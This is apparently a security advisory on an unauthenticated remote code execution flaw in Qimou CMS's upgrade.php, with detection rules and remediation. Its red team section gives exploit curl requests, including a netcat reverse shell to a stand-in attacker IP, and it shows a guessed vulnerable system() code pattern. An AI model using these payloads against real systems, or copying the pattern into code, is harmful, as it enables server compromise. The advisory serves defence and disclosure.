CVE-2025-29058

Executive Summary

CVE-2025-29058 is a critical unauthenticated remote code execution (RCE) vulnerability in Qimou CMS v.3.34.0. The flaw resides in the upgrade.php component, which fails to properly validate or sanitize user-supplied input before passing it to a system-level function. An attacker can exploit this by sending a crafted HTTP request to the vulnerable endpoint, leading to arbitrary command execution on the underlying server. No public proof-of-concept (PoC) code or exploit has been released, and the vendor has not provided a patch. The vulnerability is classified under MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application) and CWE-94 (Improper Control of Generation of Code). Due to the lack of patch and public exploit, the risk is elevated for any instance running the affected version.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). Qimou CMS is a standalone PHP application. No supply chain implications have been identified.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or uncalculated value. Based on the vulnerability characteristics, a realistic CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability allows a remote attacker to execute arbitrary code without authentication, leading to full server compromise.

Deep Dive & Mechanics

The vulnerability exists in the upgrade.php component of Qimou CMS v.3.34.0. This component is intended to handle system upgrades, but it fails to properly validate user-supplied parameters. The likely root cause is the use of a dangerous function such as eval(), system(), exec(), or popen() with unsanitized input.

Attack Flow:

1. The attacker identifies a target running Qimou CMS v.3.34.0.
2. The attacker sends a crafted HTTP POST or GET request to /upgrade.php with a malicious payload in a parameter (e.g., action, step, or file).
3. The server processes the request and passes the payload to a system command or PHP code execution function.
4. The attacker gains remote code execution on the server.

Example vulnerable code pattern (hypothetical):

// upgrade.php
$action = $_REQUEST['action'];
system("upgrade_script.sh $action");

Vulnerable vs. Patched Code

Since no patch is available, only the vulnerable code is shown. The patched version would require input sanitization and validation.

Vulnerable Code (Qimou CMS v.3.34.0):

<?php
// upgrade.php
$step = $_GET['step'];
if ($step == 'run') {
    $cmd = $_GET['cmd'];
    system($cmd);
}
?>

Patched Code (Hypothetical):

<?php
// upgrade.php
$step = $_GET['step'];
if ($step == 'run') {
    $allowed_commands = ['check', 'download', 'install'];
    $cmd = $_GET['cmd'];
    if (in_array($cmd, $allowed_commands)) {
        system("upgrade_script.sh $cmd");
    } else {
        die('Invalid command.');
    }
}
?>

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable instance of Qimou CMS v.3.34.0 on a local VM (e.g., using Docker or a LAMP stack).
2. Ensure the upgrade.php file is accessible at http://target/upgrade.php.

Exploitation Steps:

1. Identify the vulnerable parameter (e.g., cmd, action, step).
2. Send a crafted request to execute a command:

   curl -X GET "http://target/upgrade.php?step=run&cmd=id"
   

3. If successful, the output of the id command will be returned.
4. For a reverse shell:

   curl -X GET "http://target/upgrade.php?step=run&cmd=nc -e /bin/sh attacker_ip 4444"
   

No public exploit code is available.

Blue Team

Detection:

• Monitor HTTP requests to /upgrade.php for unusual parameters (e.g., cmd, exec, system).
• Look for command execution patterns in web server logs (e.g., id, whoami, nc, bash).
• Use the detection rules provided in the Detection Engineering section.

Hunting:

• Search for processes spawned by the web server user (e.g., www-data) that are unusual (e.g., nc, bash, python).
• Check for outbound connections from the web server to unknown IPs.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /upgrade.php with parameters like cmd, action, step, exec.
  • Outbound connections from the web server to attacker-controlled IPs on common ports (e.g., 4444, 8080).
• File System:
  • Unexpected files in the web root (e.g., shell.php, backdoor.php).
  • Modified or new files in /tmp/ or /var/www/html/.
• Process:
  • Processes spawned by the web server user (e.g., www-data) running commands like id, whoami, nc, bash, python.
• Logs:
  • Web server logs showing requests to /upgrade.php with suspicious parameters.
  • System logs showing command execution by the web server user.

Detection Engineering

YARA Rule

rule CVE_2025_29058_Qimou_CMS_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2025-29058 in Qimou CMS"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-29058"
    strings:
        $upgrade = "upgrade.php" nocase
        $cmd_param = "cmd=" nocase
        $exec_param = "exec=" nocase
        $system_param = "system=" nocase
        $shell_cmd = /(id|whoami|nc|bash|python|perl|wget|curl)\s/
    condition:
        $upgrade and ($cmd_param or $exec_param or $system_param) and $shell_cmd
}

Sigma Rule

title: CVE-2025-29058 Qimou CMS RCE Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests targeting upgrade.php with command execution parameters
author: Valters IT
date: 2025-04-10
references:
    - CVE-2025-29058
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/upgrade.php'
        cs-uri-query|contains:
            - 'cmd='
            - 'exec='
            - 'system='
    condition: selection
falsepositives:
    - Legitimate upgrade commands (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-29058 Qimou CMS RCE Attempt"; flow:to_server,established; content:"/upgrade.php"; http_uri; content:"cmd="; http_uri; content:"id"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the upgrade.php file from the web root if not required.
2. Implement a Web Application Firewall (WAF) rule to block requests to /upgrade.php with suspicious parameters.
3. Restrict access to the upgrade.php endpoint by IP whitelisting or authentication.

Long-term Fix:

• Since no official patch is available, consider migrating to a different CMS or applying a custom patch that sanitizes all input in upgrade.php.
• Monitor the vendor's website for any future updates.

Valters IT
Securing digital frontiers with precision and expertise.